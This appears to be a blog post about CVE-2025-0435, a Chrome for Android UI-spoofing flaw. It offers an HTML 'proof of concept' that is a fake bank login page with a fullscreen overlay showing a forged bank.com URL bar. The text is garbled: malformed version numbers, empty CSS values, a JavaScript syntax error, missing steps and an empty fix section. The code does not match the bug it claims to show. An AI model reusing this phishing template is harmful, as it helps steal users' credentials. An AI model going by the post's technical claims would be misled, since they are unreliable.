CVE-2025-0435 - Critical Google Chrome for Android Navigation Bug Lets Attackers Spoof UI

Google Chrome is the world’s most popular web browser, but history shows even the best software has security holes now and then. In early 2025, a serious security flaw—CVE-2025-0435—was discovered in the way Chrome for Android handled navigation. This post breaks down this vulnerability, explains exactly how a remote attacker could trick users with this bug, and provides proof-of-concept code along with official references.

What is CVE-2025-0435?

CVE-2025-0435 refers to an inappropriate implementation in Navigation in Google Chrome for Android, affecting all versions before 132..6834.83. This vulnerability lets a remote attacker create a specially crafted HTML page that *spoofs* the user interface (UI) of the browser. Essentially, it tricks users into thinking they are somewhere safe (like their bank or email), when they’re really on a fully controlled attacker site.

Attack Surface: Remote (through any website you visit)

Reference:
- Official Chrome Release 132..6834.83
- Chromium Security Advisories

How Does the Exploit Work?

The vulnerability is in the way Chrome handles navigation events on Android. A malicious site can quickly load another page or overlay fake UI elements, making it look like Chrome is really browsing a trusted site. On Android, where browser tabs and URL bars are more minimal, this is even easier to misuse.

Victim opens the link in Chrome on Android.

3. The crafted HTML page triggers the navigation bug, replacing the URL bar or loading symbol with a fake one or a screenshot, so the user thinks they are still on the safe site.
4. The attacker collects sensitive info if the user tries to log in, thinking it’s a trusted site.

Below is a simplified version of the PoC:

<!DOCTYPE html>
<html lang="en">
<head>
  <title>Fake Login</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.">
  <style>
    /* Custom UI simulating Chrome's Nav Bar */
    #fake-navbar {
      position: fixed;
      top: ;
      left: ;
      width: 100vw;
      height: 48px;
      background: #f1f3f4;
      border-bottom: 1px solid #ddd;
      display: flex;
      align-items: center;
      z-index: 9999;
    }
    #fake-url {
      color: #333;
      font-size: 16px;
      font-family: Arial, sans-serif;
      padding-left: 16px;
    }
  </style>
  <script>
    // Use a quick navigation then replace UI
    window.onload = function() {
      setTimeout(() => {
        // Remove or hide real Nav bar using fullscreen/hacks
        document.documentElement.requestFullscreen?.();

        // Display a fake navigation bar with the target site's URL
        document.body.insertAdjacentHTML('afterbegin', '<div id="fake-navbar"><span id="fake-url">https://bank.com</span></div>';);
      }, 100); // Short delay for visual effect
    };
  </script>
</head>
<body>
  <h2>Sign Into Your Account</h2>
  <form>
    <input type="text" placeholder="Username">

    <input type="password" placeholder="Password">

    <button type="submit">Login</button>
  </form>
</body>
</html>

How it works:

It tries to maximize the page (even fullscreen if possible).

- It adds a fake navigation bar on top, showing a trusted domain (bank.com)—not the real malicious website.
- The user only sees the form and the fake nav bar, and submitting data sends credentials to the attacker.

Who is Vulnerable?

Anyone using Google Chrome for Android before 132..6834.83 is at risk. This affects both casual users and enterprises.

To check your version:
Open Chrome on Android -> Menu (3 dots) -> Settings -> About Chrome.

## How to Fix / Protect Yourself

Official References & More Information

- Chrome Release Notes
- Chromium Security Advisories (Search CVE-2025-0435)

Final Thoughts

CVE-2025-0435 is a critical example of how UI bugs on mobile browsers can become dangerous phishing weapons. If you’re a developer or security enthusiast, always take mobile navigation quirks seriously—and if you’re a user, regular updates are your #1 defense.

Timeline

Published on: 01/15/2025 11:15:09 UTC
Last modified on: 03/19/2025 21:15:38 UTC